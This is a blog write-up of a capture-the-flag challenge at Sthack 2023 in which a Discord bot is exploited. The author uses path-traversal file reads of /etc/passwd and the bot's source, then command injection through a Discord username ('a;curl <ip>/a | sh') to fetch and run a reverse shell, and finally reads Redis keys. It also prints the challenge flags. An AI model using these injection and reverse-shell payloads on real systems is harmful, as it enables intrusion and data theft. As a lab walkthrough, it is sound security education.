Sthack 2023 — Misc Write-up : Flowers bot

Les Pires Hat
6 min readMay 19, 2023

--

During the night of Friday, May 12, 2023, the ctf of the Sthack took place in the city hall of Bordeaux.

Our team finished 5th overall out of 29 teams.

In this article, I will describe the steps that allowed me to solve the challenge, with a first blood on the second part of the challenge.

Introduction

Here is what we were given for step 1.

Flowers Bot 1/2
Scoreboard of the challenge (1/2)

So, our main goal will be to get the content of the file ‘flag’ located on the server.

Part 0. Recon

After inviting the bot on the server, here is what it returns after having done “/flowers_help”:

/help

Here is a brief description of the commands :

/flowers_help: Displays this manual.

/add_flower <IMAGE> <NAME>: Adds the IMAGE under the name NAME to your personal library.

/get_flower <NAME>: Displays one of the most beautiful flowers from your personal library.

/beautiful_flower: Returns one of the most beautiful flower images in stock.

/asian_flower: Displays an Asian flower.

/flowerize <IMG>: Adds one of our flowery banners to the chosen image IMG.

The main features we are going to use are :

/add_flowers
/get_flowers

Part 1 : Local File Inclusion, First flag

So, since we have the possibility to recover our files (our flowers) let’s try to recover a file present on the server, /etc/passwd for example :)

PoC of the LFI

Hop, and the file is sent to us :)

So now, it’s time to find the flag. After some time researching where it can be, we found that this is the path : ../../flag

Flag 1/2
STHACK{simpleLFIoldButStillGold}

Part 2: RCE and second flag

Part 2.1 : Getting the shell

So now let’s see what the statement tells us for the rest of the challenge.

Scoreboard of the challenge 2/2
Flowers bot 2/2

Its the same as the first flag, no indications.

After some time wondering what we should do, we decided to get all the source code of the bot :)

To do so, we have used /proc/self/cwd path to be in the Current Working Directory

the main.py code

So now, lets grab all the code. We will need to get all the functions from the import.

My first thought was very simple, since this is the line of the import

from inventory import add_flower, get_flower

I knew that there was a directory named ‘inventory’ and I tried to get the files like this : ../../../../proc/self/cwd/inventory/add_flower.py

The file does not exists

So, in python, when you import functions locally from another directory, it will create a file named __init__.py which contains the name of the files where the functions are created (cf : source)

Lets grab the __init__.py file located in the ‘inventory’ directory.

getting __init__.py

After getting this file, why know that the real filename of the function is addflower.py

getting addflower.py

After getting all the code, this is what we have :

All the bot’s code !

Lets see what we have in the code :)

The exploitable part of the code

In the file addflower.py, line 27, we see that if the user does not exist, it will call a function named ‘create_user_dir’.
When I said that the user do not exist, it’s based on the discord username.

Lets try to get the function code !

create_user_dir.py

The functions is created in utils/create_user_dir.py which basically call a .sh script with a username.

Using the LFI we are able to get the .sh script !

The LFI response to get the .sh script

The code is too long to copy paste it, so I will focus on the part that interest us.

create_user_dir.sh

PS : The varible ${given_name} is $1 (so the discord username)

PS2 : The function path_sanitize just check that there is no ‘.’ or ‘/’ in the username

So as you can see, if I enter in the else line 65, I will trigger the mkdir function line 68.

The exploit here is to use the format string in python code to execute an arbitrary command on the server.

In bash there are several ways to execute several commands in one line, with ; | and &&
For example, id ; pwd will display your id and the path you are currently in.

In our case, I will use a 2 step payload :

Create a file on my server that i will expose on the port 80.
In this file, I will put a reverse shell that bind the connection on the port 1337.

If anyone curl my ip with a ‘|’ sh, it will trigger a reverse shell on their machine.

To make this on the server, my discord username need to be something like this :
a;curl <ip>/a | sh

-> The server will see that the user ‘a’ do not exist and will proceed to do the mkdir function. Evrything that is passed after the ; will be executed on the server.

Here is my setup :

Listening for the reverse shell

Lets rename myself and upload a new picture :

Crash of the bot that indicates that we triggered some execution after the ;

And there is our shell :

Reverse shell after the exploit

Part 2.2 : Getting the flag

To get the second flag, I’ve read the docker compose file, here is what i’ve found :

docker-compose.yml

The redis container is quite strange but then I know that it was to store the flowers, lets enum the key inside of it with this one liner :

python3 -c 'from redis import Redis; r = Redis("flowers-bot-db"); print("\n".join([key.decode() for key in r.scan_iter()]))'
Redis key enumeration

We see a “flag” key 😮

Here is the command we will use to get it !

python3 -c 'from redis import Redis; r = Redis("redis");print(r.get("flag"))'
Final flag 2/2
STHACK{bashIsOftenBrokenBeCarefulWithShellscripts}

Et voila !

Conclusion

This challenge will have taken us a lot of time but will have been worth it because we learned a lot of things!

Thanks @Gamray for the help

Thanks again to the Sthack for the conferences, the ctf, the organization, everything :)

Thanks also to @it4 for the challenge.

Bonus

We need some test :)

Contact :
Author : Adrien Zoghbi
Twitter of the team : LesPiresHat

--

--